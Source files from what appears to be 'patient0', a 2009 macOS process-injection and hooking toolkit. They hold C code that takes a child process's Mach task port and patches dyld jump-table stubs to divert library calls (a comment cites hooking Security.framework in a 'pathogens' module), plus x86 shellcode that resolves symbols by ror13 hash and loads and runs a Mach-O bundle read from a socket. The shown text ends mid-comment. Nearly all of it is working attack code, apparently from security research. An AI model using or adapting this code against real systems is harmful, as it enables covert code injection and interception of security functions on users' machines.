-------------------------------------------------------------------------------- /src/spawn.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | /* This file is heavily based upon the work released on 20 | * Michael Weber's blog post: 21 | * http://www.foldr.org/~michaelw/lo g/computers/macosx/task-info-fun-with-mach 22 | * As well as NetBSD's src/sys/compat/mach/mach_port.h and 23 | * Darwin's CFMessagePort.c. 24 | */ 25 | static bool create_mach_receive_port(mach_port_t *port) { 26 | kern_return_t ret; 27 | mach_port_t self = mach_task_self(); 28 | 29 | if (!port) { 30 | return false; 31 | } 32 | 33 | ret = mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, port); 34 | p0_logf_if(P0_ERR, ret, "mach_port_allocate() -> %d", ret); 35 | 36 | ret |= mach_port_insert_right(self, *port, *port, MACH_MSG_TYPE_MAKE_SEND); 37 | p0_logf_if(P0_ERR, ret, "mach_port_insert_right() -> %d", ret); 38 | 39 | if (ret != 0) { 40 | mach_port_deallocate(self, *port); 41 | return false; 42 | } 43 | return true; 44 | } 45 | 46 | 47 | /* struct which encapsulates the mach msg header and the accompanying 48 | * payload of a mach task port. 49 | */ 50 | struct mach_send_port_msg { 51 | mach_msg_header_t header; 52 | mach_msg_body_t body; 53 | mach_msg_port_descriptor_t task_port; 54 | }; 55 | 56 | struct mach_receive_port_msg { 57 | struct mach_send_port_msg m; 58 | mach_msg_trailer_t trailer; 59 | }; 60 | 61 | 62 | 63 | static bool send_mach_port(mach_port_t dst_port, mach_port_t port) { 64 | struct mach_send_port_msg msg = { 0 }; 65 | 66 | /* Populate the mach msg header */ 67 | msg.header.msgh_remote_port = dst_port; 68 | msg.header.msgh_local_port = MACH_PORT_NULL; /* no src port is required */ 69 | msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); 70 | msg.header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; 71 | msg.header.msgh_size = sizeof(msg); 72 | msg.body.msgh_descriptor_count = 1; 73 | /* Duplicate the port in to the target mach task's port namespace */ 74 | msg.task_port.name = port; 75 | msg.task_port.disposition = MACH_MSG_TYPE_COPY_SEND; 76 | msg.task_port.type = MACH_MSG_PORT_DESCRIPTOR; 77 | 78 | if (mach_msg_send(&msg.header)) { 79 | p0_logf(P0_ERR, "failed to send task port to parent"); 80 | return false; 81 | } 82 | return true; 83 | } 84 | 85 | static bool receive_mach_port(mach_port_t recv_port, mach_port_t *port) { 86 | struct mach_receive_port_msg msg; 87 | if (mach_msg(&msg.m.header, /* header */ 88 | MACH_RCV_MSG, /* option */ 89 | 0, /* send size */ 90 | sizeof(msg), /* receive limit */ 91 | recv_port, /* receive port */ 92 | MACH_MSG_TIMEOUT_NONE, 93 | MACH_PORT_NULL) != KERN_SUCCESS ) { /* notify port */ 94 | p0_logf(P0_ERR, "failed to receive the expected mach port"); 95 | return false; 96 | } 97 | 98 | *port = msg.m.task_port.name; 99 | return true; 100 | } 101 | 102 | static void execute(const char *path, 103 | char **argv, 104 | char **envp, 105 | pid_t pid) { 106 | /* ensure we are running in a valid directory */ 107 | chdir("/"); 108 | /* separate from the parent process */ 109 | setsid(); 110 | /* redirect stdin/out/err unless we want logging */ 111 | #ifndef P0_VERBOSE 112 | freopen("/dev/null", "r", stdin); 113 | freopen("/dev/null", "w", stdout); 114 | freopen("/dev/null", "w", stderr); 115 | #endif 116 | p0_logf(P0_INFO, "running '%s'", path); 117 | if (pid > 0) { 118 | kill(pid, SIGKILL); 119 | } 120 | execve(path, argv, envp); 121 | p0_logf(P0_INFO, "execve failed: %s", strerror(errno)); 122 | } 123 | 124 | static bool send_task_port(mach_port_t remote_port) { 125 | if (!send_mach_port(remote_port, mach_task_self())) { 126 | p0_logf(P0_ERR, "failed to send task port"); 127 | return false; 128 | } 129 | return true; 130 | } 131 | 132 | static bool reset_bootstrap(mach_port_t local_port, mach_port_t remote_port) { 133 | if (!send_mach_port(remote_port, local_port)) { 134 | p0_logf(P0_ERR, "failed to send receive port"); 135 | return false; 136 | } 137 | if (!receive_mach_port(remote_port, &bootstrap_port)) { 138 | p0_logf(P0_ERR, "failed to receive bootstrap port"); 139 | return false; 140 | } 141 | if (bootstrap_port == MACH_PORT_NULL) { 142 | p0_logf(P0_ERR, "received NULL bootstrap port"); 143 | return false; 144 | } 145 | if (task_set_bootstrap_port(mach_task_self(), bootstrap_port)) { 146 | p0_logf(P0_ERR, "failed to set the proper bootstrap_port"); 147 | return false; 148 | } 149 | return true; 150 | } 151 | 152 | /* TODO: add flags to control whether we redirect std*, setsid, etc */ 153 | pid_t spawn(const char *path, 154 | char **argv, 155 | char **envp, 156 | mach_port_t *taskport, 157 | pid_t pid) { 158 | pid_t child_pid = -1; 159 | 160 | /* Create a port to receive the child's task port on */ 161 | mach_port_t recv_port = MACH_PORT_NULL; 162 | if (!create_mach_receive_port(&recv_port)) { 163 | p0_logf(P0_ERR, "failed to allocate a recv port"); 164 | return -1; 165 | } 166 | 167 | /* Set the port to the bootstrap port. This is the only 168 | * mach port inherited on exec*() calls. 169 | */ 170 | if (task_set_bootstrap_port(mach_task_self(), recv_port)) { 171 | p0_logf(P0_ERR, "failed to register recv_port as a bootstrap port\n"); 172 | mach_port_deallocate(mach_task_self(), recv_port); 173 | return -1; 174 | } 175 | /* Now we can fork and grab the child's task port */ 176 | if ((child_pid = fork()) == -1) { 177 | p0_logf(P0_ERR, "failed to fork!"); 178 | return -1; 179 | } else if (child_pid == 0) { /* child */ 180 | mach_port_t remote_port = MACH_PORT_NULL; 181 | 182 | if (task_get_bootstrap_port(mach_task_self(), &remote_port)) { 183 | p0_logf(P0_FATAL, "failed to get bootstrap port"); 184 | } 185 | if (!send_task_port(remote_port)) { 186 | p0_logf(P0_ERR, "failed to send task port to parent"); 187 | } 188 | execute(path, argv, envp, pid); 189 | p0_logf(P0_FATAL, "execute has failed"); 190 | } else { /* parent */ 191 | /* Restore our bootstrap port */ 192 | if (task_set_bootstrap_port(mach_task_self(), bootstrap_port)) { 193 | p0_logf(P0_ERR, "failed to reset parent bootstrap port."); 194 | return -1; 195 | } 196 | /* Grab the task port and send our original bootstrap port 197 | * so that the process isn't weirdly orphaned */ 198 | if (!receive_mach_port(recv_port, taskport)) { 199 | p0_logf(P0_ERR, "failed to receive the child task port"); 200 | return -1; 201 | } 202 | /* Reset the child's bootstrap port forcibly. There is a race, 203 | * but probably before the child needs the original port, we'll 204 | * have replaced it. Maybe? 205 | */ 206 | if (task_set_bootstrap_port(*taskport, bootstrap_port)) { 207 | p0_logf(P0_ERR, "failed to reset child bootstrap port."); 208 | return -1; 209 | } 210 | sched_yield(); 211 | } 212 | return child_pid; 213 | } 214 | 215 | 216 | #ifdef SPAWN_MAIN 217 | #include 218 | 219 | int main(int argc, char **argv, char **envp) { 220 | pid_t pid = atoi(*(++argv)), child_pid; 221 | argv++; 222 | mach_port_t child = MACH_PORT_NULL; 223 | if (argc < 3) { 224 | printf("Usage:\nspawn_main []\n"); 225 | return -1; 226 | } 227 | printf("(re)spawning: %s -> %d\n", argv[0], spawn(argv[0], argv, envp, &child, pid)); 228 | if (child != MACH_PORT_NULL) { 229 | sleep(1); 230 | printf("Attempting to suspend...\n"); 231 | task_suspend(child); 232 | } 233 | } 234 | #endif 235 | 236 | -------------------------------------------------------------------------------- /src/mach_jump/lazy_symbol.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | * vim:tw=80:ts=2:et:sw=2 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | static const struct segment_command *linkedit; 28 | static bool linkedit_initialized = false; 29 | 30 | static struct symtab_command *symtab = NULL; 31 | static uint32_t *indirect_symtab = NULL; 32 | static uint32_t indirect_symtab_size = 0; 33 | static bool lazy_symbol_initialized = false; 34 | 35 | 36 | bool linkedit_init() { 37 | linkedit_initialized = false; 38 | linkedit = getsegbyname("__LINKEDIT"); 39 | if (linkedit) { 40 | linkedit_initialized = true; 41 | } 42 | return linkedit_initialized; 43 | } 44 | 45 | /* lazy_symbol_init 46 | * 47 | * This function will attempt to find and store references to 48 | * the indirect symbol table and the symbol table to allow names 49 | * to be assigned to jump table entries. 50 | * 51 | * This is not configured as a constructor just in case the memory 52 | * isn't laid out as expected and this function becomes risky. 53 | */ 54 | bool lazy_symbol_init() { 55 | const struct mach_header *mh; 56 | struct dysymtab_command *dysymtab = NULL; 57 | struct load_command *load_command; 58 | int cmd = 0; 59 | 60 | if (lazy_symbol_initialized) { 61 | return true; 62 | } 63 | if (!linkedit_initialized && !linkedit_init()) { 64 | p0_logf(P0_INFO, "linkedit_init() is required for lazy_symbol_init\n"); 65 | return false; 66 | } 67 | /* Acquire the MACH-O header for the executable image */ 68 | mh = (const struct mach_header *)_dyld_get_image_header(0); 69 | if (!mh) { 70 | return false; 71 | } 72 | /* The first load command (LC) follows immediately after the header. 73 | * Hopefully. 74 | */ 75 | load_command = ((void *)mh) + sizeof(struct mach_header); 76 | 77 | /* Iterate over all load commands looking for the dysymtab and 78 | * the symtab. The dysymtab will give us the indirect symbol 79 | * table. The indirect symbol table provides the index into the symbol 80 | * table. In addition, the indirect symbol table entries match 81 | * the jump table entries (one for one) offset by an index given in 82 | * the jump_table->reserved1 variable. Once we have the symtab and 83 | * the dysymtab, we can perform that calculation on demand. 84 | */ 85 | for ( ; cmd < mh->ncmds; 86 | ++cmd, load_command=((void*)load_command)+load_command->cmdsize) { 87 | switch (load_command->cmd) { 88 | case LC_DYSYMTAB: 89 | dysymtab = (struct dysymtab_command *)load_command; 90 | break; 91 | case LC_SYMTAB: 92 | symtab = (struct symtab_command *)load_command; 93 | break; 94 | } 95 | } 96 | if (symtab && dysymtab) { 97 | /* Setup the indirect symbol table */ 98 | indirect_symtab = (uint32_t *)(dysymtab->indirectsymoff - 99 | symtab->symoff + 100 | linkedit->vmaddr); 101 | indirect_symtab_size = dysymtab->nindirectsyms; 102 | lazy_symbol_initialized = true; 103 | } 104 | p0_logf(P0_INFO, "symtab: %p dysymtab: %p\n", symtab, dysymtab); 105 | return lazy_symbol_initialized; 106 | } 107 | 108 | 109 | /* lazy_symbol_stub 110 | * Walks the symbol table looking for the given symbol. Once found, it attempts 111 | * to determine the address where the jump table stub is located in memory. 112 | * If the symbol is not indirect or cannot be found, this will return 0. 113 | * This will test for a match with and without a "_", so don't include one 114 | * unless you think there'd be more than one. 115 | * TODO: getsectdatafromFramework("SecurityFoundation", "__IMPORT", "__jump_table", &size) 116 | * should drop it right in the stub section. maybe 117 | * _dyld_get_image_vmaddr_slide + result = addr. 118 | * 119 | */ 120 | intptr_t lazy_symbol_stub(const char *symbol) { 121 | /* nlists are symbol table list elements */ 122 | struct nlist *nl = (struct nlist *)linkedit->vmaddr; 123 | size_t symbol_length = strlen(symbol); 124 | uint32_t symbol_index = 0; 125 | intptr_t match = 0; 126 | 127 | if (!lazy_symbol_initialized && !lazy_symbol_init()) { 128 | p0_logf(P0_INFO, "lazy_symbol_stub requires lazy_symbol_init()\n"); 129 | return 0; 130 | } 131 | if (!jump_table_init()) { 132 | p0_logf(P0_INFO, "lazy_symbol_stub requires jump_table_init()\n"); 133 | return 0; 134 | } 135 | 136 | /* Walk the symbol table looking for the requested symbol. 137 | * Once found, index into the jump table if possible. 138 | */ 139 | for ( ; symbol_index < symtab->nsyms; ++symbol_index, ++nl ) { 140 | /* The entry name lives in the strtab. This is located at the linkedit 141 | * address offset by the stroff value in the symtab. This subtracts the 142 | * symoff from the stroff to get the offset into linkedit. symoff and 143 | * stroff are absolute offsets into the original file, but when running, 144 | * symoff == linkedit->vmaddr. 145 | * TODO: add error checking for the value in n_strx. 146 | */ 147 | char *entry_name = (char *)(linkedit->vmaddr + nl->n_un.n_strx + 148 | (symtab->stroff - symtab->symoff)); 149 | /* TODO: add verbosity levels to p0_logf so we can log things 150 | * like all the entry names, when needed. 151 | */ 152 | /* If the symbol isn't external, this probably won't be useful */ 153 | if (nl->n_desc & N_EXT) { 154 | uint32_t indirect_index = 0; 155 | jump_table_t *jump_table = jump_table_global(); 156 | /* Do nothing if this isn't the right symbol */ 157 | if (strncmp(entry_name, symbol, symbol_length)) { 158 | if (entry_name[0] == '_' && symbol[0] != '_') { 159 | if (strncmp(++entry_name, symbol, symbol_length)) { 160 | continue; 161 | } 162 | } else { 163 | continue; 164 | } 165 | } 166 | /* strncmp will match a partial. E.g., open$UNIX2003 versus open */ 167 | if (entry_name[symbol_length] != '\0') { 168 | continue; 169 | } 170 | /* According to the comments in mach-o/loader.h:417, the index into the 171 | * jump_table should point to an entry in the indirect symbol table 172 | * starting at the index offset in reserved1. So if we walk the 173 | * indirect symbol table here, we will get the index that equates to 174 | * this symbol. Then when we can guess the jump table index using indir 175 | * sym index + reserved1. 176 | */ 177 | for ( ; indirect_index < indirect_symtab_size; ++indirect_index) { 178 | if (indirect_symtab[indirect_index] == symbol_index) { 179 | jmp_entry_t *entry = (jmp_entry_t *)jump_table->addr; 180 | int jump_index = indirect_index - jump_table->reserved1; 181 | if (jump_index < 0) { 182 | continue; 183 | } 184 | /* Now we index into the jump_table */ 185 | //entry = ((uint32_t)entry) + (jump_index * jump_table->reserved2); 186 | entry += jump_index; 187 | if ((uint32_t)entry > (jump_table->addr + jump_table->size)) { 188 | p0_logf(P0_INFO, "invalid jump target: %p\n", entry); 189 | return 0; 190 | } 191 | /* Return the pointer to the stub entry. */ 192 | /* Instead of returning here, we'll log, note, and keep going. 193 | * Maybe there are dupes! */ 194 | match = (intptr_t)entry; 195 | p0_logf(P0_INFO, "'%s' matched @ %p", entry_name, entry); 196 | } 197 | } 198 | } 199 | } 200 | return match; 201 | } 202 | -------------------------------------------------------------------------------- /src/mach_jump/jump_table.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | * vim:tw=80:ts=2:et:sw=2 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | 26 | static jump_table_t global_jump_table = { 0 }; 27 | static bool jump_table_initialized = false; 28 | 29 | jump_table_t *jump_table_global() { 30 | return &global_jump_table; 31 | } 32 | 33 | /* Initializes the global_jump_table and ensures we are going to 34 | * be compatible (jump entry size) 35 | */ 36 | bool jump_table_init() { 37 | const struct section *jump_table; 38 | if (jump_table_initialized) return true; 39 | /* This only addresses lazy pointers AFAICT. 40 | */ 41 | if ((jump_table = getsectbyname("__IMPORT", "__jump_table")) != 0) { 42 | if (jump_table->reserved2 != sizeof(jmp_entry_t)) { 43 | p0_logf(P0_INFO, "entry sizes in jump table do not match jmp_entry_t size\n"); 44 | return false; 45 | } 46 | global_jump_table.addr = jump_table->addr; 47 | global_jump_table.size = jump_table->size; 48 | global_jump_table.reserved1 = jump_table->reserved1; 49 | global_jump_table.reserved2 = jump_table->reserved2; 50 | jump_table_initialized = true; 51 | } 52 | return jump_table_initialized; 53 | } 54 | 55 | 56 | /* jump_table_get_table 57 | * Returns the jump table (symbol stubs) used by a given, loaded framework. 58 | * This allows for symbol stub patching when calls are made from functions 59 | * resident in a loaded shared library. The canonical example is the 60 | * SecurityFoundation Obj-C functions calling Security.framework functions. 61 | * (see pathogens/rubella.c) 62 | */ 63 | bool jump_table_get_table(const char *framework, jump_table_t *table) { 64 | unsigned long size = 0; 65 | table->addr = (intptr_t) getsectdatafromFramework(framework, 66 | "__IMPORT", 67 | "__jump_table", 68 | (unsigned long *) 69 | &table->size); 70 | /* XXX: none of this code is 64-bit clean */ 71 | p0_logf(P0_INFO, "framework: %s addr %p", framework, table->addr); 72 | if (table->addr == 0) 73 | return false; 74 | /* Make sure we can patch the table */ 75 | if (vm_protect(mach_task_self(), 76 | (vm_address_t)table->addr, 77 | table->size, 78 | false, 79 | VM_PROT_ALL) != KERN_SUCCESS) { 80 | /* we will keep on truckin' though. just in case! */ 81 | p0_logf(P0_ERR, "failed to change the protections on the jump table"); 82 | } 83 | return true; 84 | } 85 | 86 | 87 | /* jump_table_get_indexed_table 88 | * Returns the jump table (symbol stubs) used by a given, loaded mach header. 89 | * This allows for symbol stub patching when calls are made from functions 90 | * resident in a loaded shared library. 91 | */ 92 | bool jump_table_get_indexed_table(uint32_t index, jump_table_t *table) { 93 | const struct mach_header *header; 94 | unsigned long size = 0; 95 | 96 | if (index >= _dyld_image_count()) { 97 | p0_logf(P0_ERR, "image out of range: %d", index); 98 | return false; 99 | } 100 | header = _dyld_get_image_header(index); 101 | if (header == NULL) { 102 | p0_logf(P0_WARN, "image mapped at 0x0"); 103 | } 104 | table->addr = (intptr_t) getsectdatafromheader(header, 105 | "__IMPORT", 106 | "__jump_table", 107 | (unsigned long *) 108 | &table->size); 109 | p0_logf(P0_INFO, "header: %p addr %p", header, table->addr); 110 | if (table->addr == 0) { 111 | p0_logf(P0_ERR, "jump table mapped at 0x0: bailing"); 112 | return false; 113 | } 114 | /* Make sure we can patch the table */ 115 | if (vm_protect(mach_task_self(), 116 | (vm_address_t)table->addr, 117 | table->size, 118 | false, 119 | VM_PROT_ALL) != KERN_SUCCESS) { 120 | /* we will keep on truckin' though. just in case! */ 121 | p0_logf(P0_WARN, "failed to change the protections on the jump table"); 122 | } 123 | return true; 124 | } 125 | 126 | 127 | 128 | 129 | /* jmp_table_find (and jmp_table_find_by_symbol) 130 | * Takes in a symbol and attempts to resolve the symbol and find its 131 | * lazy resolution address in the executable images __jump_table 132 | * Returns -1 on error. 133 | * This will only find entries which have already been called once 134 | * (and have therefore been resolved by dyld) unless the executable 135 | * was launched with the DYLD_BIND_AT_LAUNCH environment variable 136 | * set. If set, then any symbols which are referenced in the code will 137 | * be bound at link-time and show up here :) 138 | */ 139 | intptr_t jump_table_find(jump_table_t *table, intptr_t func) { 140 | jmp_entry_t *cursor = NULL; 141 | jmp_entry_t *eot = NULL; 142 | 143 | if (!jump_table_initialized && !jump_table_init()) { 144 | p0_logf(P0_ERR, "jump_table uninitialized"); 145 | return -1; 146 | } 147 | 148 | if (!func) { 149 | p0_logf(P0_INFO, "symbol not found\n"); 150 | return -1; 151 | } 152 | 153 | if (table == NULL) { 154 | table = jump_table_global(); 155 | } 156 | 157 | /* Assume the jump table is comprised of 5 byte entries only. 158 | * If this assumption is later violated, a lightweight x86 disasm 159 | * will make it easy enough to scan the table. 160 | */ 161 | for (cursor = (jmp_entry_t *)table->addr, 162 | eot = cursor + (table->size / sizeof(jmp_entry_t)); 163 | cursor < eot; 164 | ++cursor) { 165 | intptr_t jmps_to; 166 | /* dyld only seems to use call (e8) when it is calling 167 | * __dyld_fast_stub_binding_helper_interface. This assumption is probably 168 | * wrong. 169 | */ 170 | if (cursor->opcode == 0xe8) { 171 | continue; 172 | } 173 | if (cursor->opcode != 0xe9) { 174 | p0_logf(P0_INFO, "unknown opcode (%hhx) @ %p\n", cursor->opcode, cursor); 175 | } 176 | /* make the target address absolute */ 177 | jmps_to = cursor->target + ((intptr_t)(cursor) + sizeof(jmp_entry_t)); 178 | p0_logf(P0_INFO, "%p: %hhx %x -> %x\n", cursor, 179 | cursor->opcode, 180 | (uint32_t)cursor->target, 181 | (uint32_t)jmps_to); 182 | if (jmps_to == (intptr_t)func) { 183 | return (intptr_t) cursor; 184 | } 185 | } 186 | p0_logf(P0_INFO, "jmp entry not found\n"); 187 | //printf("%p\n", dyld_fast_stub_binding_helper_interface); 188 | return -1; 189 | } 190 | 191 | intptr_t jump_table_find_by_symbol_address(jump_table_t *table, 192 | const char *symbol) { 193 | void *func_location = dlsym(RTLD_DEFAULT, symbol); 194 | if (!func_location) { 195 | p0_logf(P0_INFO, "symbol not found\n"); 196 | return -1; 197 | } 198 | return jump_table_find(table, (intptr_t)func_location); 199 | } 200 | 201 | bool jump_table_patch(intptr_t entry_address, void *target) { 202 | jmp_entry_t *entry = (jmp_entry_t *) entry_address; 203 | if (entry == NULL) { 204 | return false; 205 | } 206 | 207 | /* TODO: fix protections */ 208 | p0_logf(P0_INFO, "patching %p from %p to (%p)", entry, entry->target, target); 209 | /* Calculate the relative signed integer offset argument to 0xe9 */ 210 | entry->target = ((intptr_t)target) - (entry_address + sizeof(jmp_entry_t)); 211 | /* This allows us to patch unbound symbols too. */ 212 | if (entry->opcode != 0xe9) { 213 | entry->opcode = 0xe9; 214 | } 215 | return true; 216 | } 217 | -------------------------------------------------------------------------------- /ext/_inject_bundle.s: -------------------------------------------------------------------------------- 1 | ;; Original author: ddz@theta44.org 2 | ;; pthread_set_self added by redpig@dataspill.org 3 | BITS 32 4 | jmp _setup_self 5 | ;;; -------------------------------------------------------------------- 6 | ;;; Constants 7 | ;;; -------------------------------------------------------------------- 8 | %define MAP_ANON 0x1000 9 | %define MAP_PRIVATE 0x0002 10 | %define PROT_READ 0x01 11 | %define PROT_WRITE 0x02 12 | 13 | %define NSLINKMODULE_OPTION_BINDNOW 0x1 14 | %define NSLINKMODULE_OPTION_PRIVATE 0x2 15 | %define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4 16 | 17 | ;;; -------------------------------------------------------------------- 18 | ;;; ror13_hash(string symbol_name) 19 | ;;; 20 | ;;; Compute the 32-bit "ror13" hash for a given symbol name. The hash 21 | ;;; value is left in the variable hash 22 | ;;; -------------------------------------------------------------------- 23 | %macro ror13_hash 1 24 | %assign hash 0 25 | %assign c 0 26 | %strlen len %1 27 | 28 | %assign i 1 29 | %rep len 30 | %substr c %1 i 31 | %assign hash ((((hash >> 13) | (hash << 19)) + c) & 0xFFFFFFFF) 32 | %assign i i + 1 33 | %endrep 34 | %endmacro 35 | 36 | ;;; -------------------------------------------------------------------- 37 | ;;; dyld_resolve(uint32_t hash) 38 | ;;; 39 | ;;; Lookup the address of an exported symbol within dyld by "ror13" hash. 40 | ;;; 41 | ;;; Arguments: 42 | ;;; hash - 32-bit "ror13" hash of symbol name 43 | ;;; -------------------------------------------------------------------- 44 | _dyld_resolve: 45 | mov eax, [esp+4] 46 | push eax 47 | push 0x8fe00000 48 | call _macho_resolve 49 | ret 4 50 | 51 | ;;; -------------------------------------------------------------------- 52 | ;;; macho_resolve(void* base, uint32_t hash) 53 | ;;; 54 | ;;; Lookup the address of an exported symbol within the given Mach-O 55 | ;;; image by "ror13" hash value. 56 | ;;; 57 | ;;; Arguments: 58 | ;;; base - base address of Mach-O image 59 | ;;; hash - 32-bit "ror13" hash of symbol name 60 | ;;; -------------------------------------------------------------------- 61 | _macho_resolve: 62 | push ebp 63 | mov ebp, esp 64 | sub esp, byte 12 65 | push ebx 66 | push esi 67 | push edi 68 | 69 | mov ebx, [ebp+8] ; mach-o image base address 70 | mov eax, [ebx+16] ; mach_header->ncmds 71 | mov [ebp-4], eax ; ncmds 72 | 73 | add bl, 28 ; Advance ebx to first load command 74 | .loadcmd: 75 | ;; Load command loop 76 | xor eax, eax 77 | cmp dword [ebp-4], eax 78 | je .return 79 | 80 | inc eax 81 | cmp [ebx], eax 82 | je .segment 83 | inc eax 84 | cmp [ebx], eax 85 | je .symtab 86 | .next_loadcmd: 87 | ;; Advance to the next load command 88 | dec dword [ebp-4] 89 | add ebx, [ebx+4] 90 | jmp .loadcmd 91 | 92 | .segment: 93 | ;; Look for "__TEXT" segment 94 | cmp [ebx+10], dword 'TEXT' 95 | je .text 96 | ;; Look for "__LINKEDIT" segment 97 | cmp [ebx+10], dword 'LINK' 98 | je .linkedit 99 | 100 | jmp .next_loadcmd 101 | .text: 102 | mov eax, [ebx+24] 103 | mov [ebp-8], eax ; save image preferred load address 104 | jmp .next_loadcmd 105 | .linkedit: 106 | ;; We have found the __LINKEDIT segment 107 | mov eax, [ebx+24] ; segcmd->vmaddr 108 | sub eax, [ebp-8] ; image preferred load address 109 | add eax, [ebp+8] ; actual image load address 110 | sub eax, [ebx+32] ; segcmd->fileoff 111 | mov [ebp-12], eax ; save linkedit segment base 112 | 113 | jmp .next_loadcmd 114 | 115 | .symtab: 116 | ;; Examine LC_SYMTAB load command 117 | mov ecx, [ebx+12] ; ecx = symtab->nsyms 118 | .symbol: 119 | xor eax, eax 120 | cmp ecx, eax 121 | je .return 122 | dec ecx 123 | 124 | imul edx, ecx, byte 12 ; edx = index into symbol table 125 | add edx, [ebx+8] ; edx += symtab->symoff 126 | add edx, [ebp-12] ; adjust symoff relative to linkedit 127 | 128 | mov esi, [edx] ; esi = index into string table 129 | add esi, [ebx+16] ; esi += symtab->stroff 130 | add esi, [ebp-12] ; adjust stroff relative to linkedit 131 | 132 | ;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c 133 | xor edi, edi 134 | cld 135 | .hash: 136 | xor eax, eax 137 | lodsb 138 | cmp al, ah 139 | je .compare 140 | ror edi, 13 141 | add edi, eax 142 | jmp .hash 143 | 144 | .compare: 145 | cmp edi, [ebp+12] 146 | jne .symbol 147 | 148 | mov eax, [edx+8] ; return symbols[ecx].n_value 149 | sub eax, [ebp-8] ; adjust to actual load address 150 | add eax, [ebp+8] 151 | .return: 152 | pop edi 153 | pop esi 154 | pop ebx 155 | leave 156 | ret 8 157 | 158 | ;;; -------------------------------------------------------------------- 159 | ;;; inject_bundle(int filedes) 160 | ;;; 161 | ;;; Read a Mach-O bundle from the given file descriptor, load and link 162 | ;;; it into the currently running process. 163 | ;;; 164 | ;;; Arguments: 165 | ;;; filedes (edi) - file descriptor to read() bundle from 166 | ;;; -------------------------------------------------------------------- 167 | _inject_bundle: 168 | push ebp 169 | mov ebp, esp 170 | sub esp, byte 12 171 | 172 | mov esi, edi ; arg0: filedes 173 | 174 | .read_size: 175 | ;; Read a 4-byte size of bundle to read 176 | xor eax, eax 177 | mov al, 4 178 | push eax ; nbyte 179 | lea edi, [ebp-4] 180 | push edi ; buf 181 | push esi ; s 182 | push eax 183 | dec eax 184 | int 0x80 185 | jb .read_error 186 | cmp eax, ecx ; A zero-read signals termination 187 | je .read_error 188 | mov ecx, [ebp-4] 189 | xor eax, eax 190 | cmp ecx, eax 191 | je .read_error ; A zero value signals termination 192 | 193 | jmp .mmap 194 | .read_error: 195 | jmp .error 196 | 197 | .mmap: 198 | ;; mmap memory 199 | xor eax, eax 200 | push eax 201 | push -1 202 | push (MAP_ANON | MAP_PRIVATE) 203 | push (PROT_READ | PROT_WRITE) 204 | push ecx ; size 205 | push eax 206 | push eax ; spacer 207 | mov al, 197 208 | int 0x80 209 | jb .error 210 | mov edi, eax ; memory buffer 211 | mov [ebp-8], edi 212 | 213 | ;; read bundle from file descriptor into mmap'd buffer 214 | .read_bundle: 215 | xor eax, eax 216 | push ecx ; nbyte 217 | push edi ; buf 218 | push esi ; filedes 219 | push eax ; spacer 220 | mov al, 3 221 | int 0x80 222 | jb .error 223 | add edi, eax 224 | sub ecx, eax 225 | jnz .read_bundle 226 | 227 | mov edi, [ebp-8] ; load original memory buffer 228 | 229 | ;; Now that we are calling library methods, we need to make sure 230 | ;; that esp is 16-byte aligned at the the point of the call 231 | ;; instruction. So we align the stack here and then just be 232 | ;; careful to keep it aligned as we call library functions. 233 | 234 | sub esp, byte 16 235 | and esp, 0xfffffff0 236 | 237 | ;; load bundle from mmap'd buffer 238 | push byte 0 ; maintain alignment 239 | lea eax, [ebp-8] 240 | push eax ; &objectFileImage 241 | push dword [ebp+12] ; size 242 | push edi ; addr 243 | ror13_hash "_NSCreateObjectFileImageFromMemory" 244 | push dword hash 245 | call _dyld_resolve 246 | call eax 247 | cmp al, 1 248 | jne .error 249 | 250 | ;; link bundle from object file image 251 | xor eax, eax 252 | push eax 253 | mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW) 254 | push eax 255 | push esp ; "" 256 | push dword [ebp-8] 257 | ror13_hash "_NSLinkModule" 258 | push dword hash 259 | call _dyld_resolve 260 | call eax 261 | 262 | ;; run_symbol = NSLookupSymbolInModule(module, "_run") 263 | mov ebx, eax 264 | xor eax, eax 265 | push eax ; "\0\0\0\0" 266 | push 0x6e75725f ; "_run" 267 | mov eax, esp 268 | push eax ; sym 269 | push ebx ; module 270 | 271 | ror13_hash "_NSLookupSymbolInModule" 272 | push dword hash 273 | call _dyld_resolve 274 | call eax 275 | 276 | ;; NSAddressOfSymbol(run_symbol) 277 | sub esp, 12 ; maintain alignment 278 | push eax 279 | ror13_hash "_NSAddressOfSymbol" 280 | push dword hash 281 | call _dyld_resolve 282 | call eax 283 | 284 | ;; _run(socket) 285 | sub esp, 12 ; maintain alignment 286 | push esi 287 | call eax 288 | 289 | .error: 290 | ;; Exit cleanly 291 | xor eax, eax 292 | push eax ; EXIT_SUCCESS 293 | push eax ; spacer 294 | mov al, 1 295 | int 0x80 296 | 297 | ;;; 298 | ;;; Since we are being injected into a new mach thread, we need to 299 | ;;; set up a dummy thread structure to keep 300 | ;;; _NSCreateObjectFileImageFromMemoryfrom crashing. We will assume 301 | ;;; we have some space before the stack and use it for it for that purpose. 302 | ;;; 303 | _setup_self: 304 | ;; Make sure we are 